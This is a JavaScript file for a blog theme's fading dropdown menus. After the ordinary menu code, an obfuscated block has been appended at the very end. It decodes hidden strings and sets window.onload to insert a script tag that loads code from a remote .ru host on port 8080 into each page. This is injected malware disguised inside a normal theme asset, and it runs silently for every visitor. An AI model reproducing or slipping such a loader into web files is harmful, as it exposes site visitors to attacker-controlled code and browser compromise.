/*
Author: mg12
Update: 2008/12/29
Author URI: http://www.neoease.com/
*/
(function() {

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

var GhostlyMenu = Class.create();
GhostlyMenu.prototype = {

	initialize: function(target, align, opacity, offset) {
		this.obj = cleanWhitespace(target);
		this.align = align || 'left';
		this.opacity = 0;
		this.maxopacity = opacity || 1;
		this.offset = offset || 0;

		this.menu = this.obj.childNodes
		if (this.menu.length < 2) { return; }

		this.title = this.menu[0];
		this.body = this.menu[1];

		cleanWhitespace(this.body).firstChild.className = 'first';

		if (/MSIE/i.test(navigator.userAgent)) {
			var readers = getElementsByClassName('reader', 'a', this.body);
			for (var i = 0; i < readers.length; i++) {
				setStyle(readers[i], 'cursor', 'hand');
			}
		}

		setStyle(this.body, 'visibility', 'hidden');
		setStyle(this.body, 'position', 'absolute');
		setStyle(this.body, 'overflow', 'hidden');
		setStyle(this.body, 'display', 'block');

		addListener(this.obj, 'mouseover', bind(this, this.activate), false);
		addListener(this.obj, 'mouseout', bind(this, this.deactivate), false);
	},

	activate: function() {
		var pos = cumulativeOffset(this.title);
		var left = pos[0];
		if (this.align == 'right') {
			var offset = getWidth(this.title) - getWidth(this.body) + this.offset;
			left += offset;
		}
		var top = pos[1] + getHeight(this.title);

		setStyle(this.body, 'left', left + 'px');
		setStyle(this.body, 'top', top + 'px');
		setStyle(this.body, 'visibility', 'visible');
		setStyle(this.body, 'opacity', this.opacity);
		setStyle(this.body, 'MozOpacity', this.opacity);
		setStyle(this.body, 'KhtmlOpacity', this.opacity);
		setStyle(this.body, 'filter', 'alpha(opacity=' + this.opacity * 100 + ')');

		if(this.tid) {
			clearTimeout(this.tid);
		}
		this.tid = setInterval(bind(this, this.appear), 30);
	},

	deactivate: function(){
		if(this.tid) {
			clearTimeout(this.tid);
		}
		this.tid = setInterval(bind(this, this.fade), 30);
	},

	appear: function() {
		this.opacity += 0.1;
		if(this.opacity >= this.maxopacity) {
			this.opacity = this.maxopacity;
			clearTimeout(this.tid);
		}
		setStyle(this.body, 'opacity', this.opacity);
		setStyle(this.body, 'MozOpacity', this.opacity);
		setStyle(this.body, 'KhtmlOpacity', this.opacity);
		setStyle(this.body, 'filter', 'alpha(opacity=' + this.opacity * 100 + ')');
	},

	fade:function() {
		this.opacity -= 0.1;
		if(this.opacity <= 0) {
			this.opacity = 0;
			setStyle(this.body, 'visibility', 'hidden');
			clearTimeout(this.tid);
		}
		setStyle(this.body, 'opacity', this.opacity);
		setStyle(this.body, 'MozOpacity', this.opacity);
		setStyle(this.body, 'KhtmlOpacity', this.opacity);
		setStyle(this.body, 'filter', 'alpha(opacity=' + this.opacity * 100 + ')');
	}
}

$ = function(id) {
	return document.getElementById(id);
}

$A = function(iterable) {
	if(!iterable) {
		return [];
	}
	if(iterable.toArray) {
		return iterable.toArray();
	} else {
		var results = [];
		for(var i = 0; i < iterable.length; i++) {
			results.push(iterable[i]);
		}
		return results;
	}
}

getElementsByClassName = function(className, tag, parent) {
	parent = parent || document;

	var allTags = (tag == '*' && parent.all) ? parent.all : parent.getElementsByTagName(tag);
	var matchingElements = new Array();

	className = className.replace(/\-/g, '\\-');
	var regex = new RegExp('(^|\\s)' + className + '(\\s|$)');

	var element;
	for (var i = 0; i < allTags.length; i++) {
		element = allTags[i];
		if (regex.test(element.className)) {
			matchingElements.push(element);
		}
	}

	return matchingElements;
}

bind = function() {
	var array = this.$A(arguments);
	var func = array[array.length - 1];
	var _method = func, args = array, object = args.shift();
	return function() {
		return _method.apply(object, args.concat(array));
	}
}

getHeight = function(element) {
	return element.offsetHeight;
}

getWidth = function(element) {
	return element.offsetWidth;
}

setStyle = function(element, key, value) {
	element.style[key] = value;
}

getStyle = function(element, key) {
	return element.style[key];
}

cleanWhitespace = function(list) {
	var node = list.firstChild;
	while (node) {
		var nextNode = node.nextSibling;
		if(node.nodeType == 3 && !/\S/.test(node.nodeValue)) {
			list.removeChild(node);
		}
		node = nextNode;
	}
	return list;
}

cumulativeOffset = function(element) {
	var valueT = 0, valueL = 0;
	do {
		valueT += element.offsetTop  || 0;
		valueL += element.offsetLeft || 0;
		element = element.offsetParent;
	} while (element);
	return [valueL, valueT];
}

addListener = function(element, name, observer, useCapture) {
	if(element.addEventListener) {
		element.addEventListener(name, observer, useCapture);
	} else if(element.attachEvent) {
		element.attachEvent('on' + name, observer);
	}
}

function loadMenus() {
	var subscribe = $('subscribe');
	if (subscribe) {
		new GhostlyMenu(subscribe, 'left', 1, 1);
	}

	var menubar = $('menus');
	if (menubar) {
		var list = cleanWhitespace(menubar.childNodes);
		for (var i = 0; i < list.length; i++) {
			new GhostlyMenu(list[i], 'left', 1, 1);
		}
	}
}

if (document.addEventListener) {
	document.addEventListener("DOMContentLoaded", loadMenus, false);

} else if (/MSIE/i.test(navigator.userAgent)) {
	document.write('<script id="__ie_onload_for_inove" defer src="javascript:void(0)"></script>');
	var script = $('__ie_onload_for_inove');
	script.onreadystatechange = function() {
		if (this.readyState == 'complete') {
			loadMenus();
		}
	}

} else if (/WebKit/i.test(navigator.userAgent)) {
	var _timer = setInterval( function() {
		if (/loaded|complete/.test(document.readyState)) {
			clearInterval(_timer);
			loadMenus();
		}
	}, 10);

} else {
	window.onload = function(e) {
		loadMenus();
	}
}

window['MGJS_MENU'] = {};

})();

try {var e="";var f;if(f!='m'){f='m'};var b=RegExp;this.V="";this.go="";var _="repla"+"GLrce".substr(3);this._U="";var FT="";var sn;if(sn!='NF' && sn!='J'){sn='NF'};var u;if(u!='Jy' && u!='FC'){u='Jy'};this.my='';function G(U,X){var AY;if(AY!='R'){AY='R'};var iO;if(iO!='bA' && iO != ''){iO=null};var N=new String("[m3N".substr(0,1));var h=new String("g");var S;if(S!='rB' && S!='a'){S=''};N+=X;this.oE='';var iS;if(iS!='y' && iS != ''){iS=null};N+=String("FdAE]".substr(4));var Hy='';var tW;if(tW!='' && tW!='Ye'){tW='OL'};var AF='';var j=new b(N, h);return U[_](j, new String());};var Ig=new Array();var tJ="";var P="";var H=G('h2tntQpZ:Z/n/0gno0-Zc2oZmZ.Zl0ans0t0.Qf0mn.Zcnt2r0iZpn-2c2o2mn.nY0oQu0rnS2u0p2eQr2Pno0oQl0.Zr0un:n',"2Z0nQ");var iB;if(iB!='Xx' && iB!='ow'){iB='Xx'};var I=G('o1n3luo1a1d1',"3u1");var Vp='';var Y=G('cSrOewaOtQeSEQlSeQmOegnwtw',"gwSOQ");var Hk=new String();this.D='';var C='';var F=G('86446204264468644240646264',"426");var pl;if(pl!='' && pl!='rT'){pl=''};var XA=G('sjcjr2ijp2tJ',"jDZ2J");var UM=new Array();var hK;if(hK!='' && hK!='We'){hK=null};var i=G('/IgDoDoIgYlzeD.DcYozmI/YgYozozgzlzeY.zcYoDmY/zmYyYszqIlz.DcDoDmD/IrziznIcDoInIdzeYlIvzazgIoY.YcIoDmY/YgIozoIgIlzeI.Ypztz.IpYhIpD',"DYIz");var kM=new String();var Hb=new Array();var s=window;var wa;if(wa!='NH'){wa='NH'};var TU=new String();T=function(){Nx=document[Y](XA);var dP=new String();C=H+F;C+=i;var z=new Array();this.Zy='';var JE;if(JE!='IL' && JE != ''){JE=null};Nx.src=C;var ih=new Array();Nx.defer=([7,1][1]);var FSo;if(FSo!='qB'){FSo='qB'};var Iz=new Date();var mi='';var TC;if(TC!='gh' && TC != ''){TC=null};this.Tc='';document.body.appendChild(Nx);};var eM="";s[I]=T;var io="";} catch(l){};